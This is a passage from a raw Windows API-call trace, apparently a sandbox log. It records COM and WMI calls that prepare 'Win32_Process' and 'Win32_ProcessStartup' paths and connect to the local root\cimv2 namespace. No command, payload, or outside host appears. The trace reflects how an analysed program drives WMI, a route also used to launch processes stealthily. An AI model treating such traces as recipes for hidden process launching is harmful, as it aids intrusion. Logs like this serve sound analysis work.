[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.019] WbemDefPath:IUnknown:Release (This=0x1b4d2940) returned 0x3 [0110.019] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0110.019] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0110.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0110.019] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0110.019] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0110.019] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0110.019] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0110.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4afee0) returned 0x0 [0110.019] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0110.019] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0110.019] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0110.019] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.020] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0110.020] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0110.020] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afee0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.020] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afee0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.020] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0110.020] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0110.020] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0110.020] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.021] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d2cc0) returned 0x0 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0110.021] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2cc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4affa0) returned 0x0 [0110.021] WbemDefPath:IUnknown:Release (This=0x1b4d2cc0) returned 0x0 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4affa0) returned 0x0 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0110.021] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2a80) returned 0x0 [0110.021] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2a80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.021] WbemDefPath:IUnknown:Release (This=0x1b4d2a80) returned 0x3 [0110.021] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0110.021] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0110.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0110.022] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0110.022] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0110.022] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0110.022] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0110.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4affa0) returned 0x0 [0110.022] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0110.022] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0110.022] WbemDefPath:IWbemPath:SetText (This=0x1b4affa0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0110.022] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.022] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0110.022] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0110.022] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0110.022] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.023] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d29c0) returned 0x0 [0110.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0110.023] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b0120) returned 0x0 [0110.023] WbemDefPath:IUnknown:Release (This=0x1b4d29c0) returned 0x0 [0110.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b0120) returned 0x0 [0110.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0110.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.024] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0110.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0110.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0110.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d2dc0) returned 0x0 [0110.024] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2dc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.024] WbemDefPath:IUnknown:Release (This=0x1b4d2dc0) returned 0x3 [0110.024] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0110.024] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0110.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0110.024] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0110.024] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0110.024] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0110.024] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0110.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b0120) returned 0x0 [0110.024] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0110.024] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0110.024] WbemDefPath:IWbemPath:SetText (This=0x1b4b0120, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0110.024] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0110.024] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0110.024] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.024] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0110.025] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0110.025] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0110.025] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.025] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d2820) returned 0x0 [0110.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2820, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0110.025] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2820, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d26a0) returned 0x0 [0110.025] WbemLocator:IUnknown:Release (This=0x1b4d2820) returned 0x0 [0110.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d26a0) returned 0x0 [0110.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0110.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0110.026] WbemLocator:IUnknown:AddRef (This=0x1b4d26a0) returned 0x3 [0110.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0110.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0110.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0110.026] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0110.026] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0110.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0110.026] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x2 [0110.026] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x1 [0110.026] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0110.026] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0110.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26a0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d26a0) returned 0x0 [0110.026] WbemLocator:IUnknown:AddRef (This=0x1b4d26a0) returned 0x3 [0110.026] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x2 [0110.026] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0110.026] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0110.026] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.026] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d2780) returned 0x0 [0110.026] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2780, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63b300) returned 0x0 [0110.230] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4ad550) returned 0x0 [0110.230] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ad550, pProxy=0x63b300, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 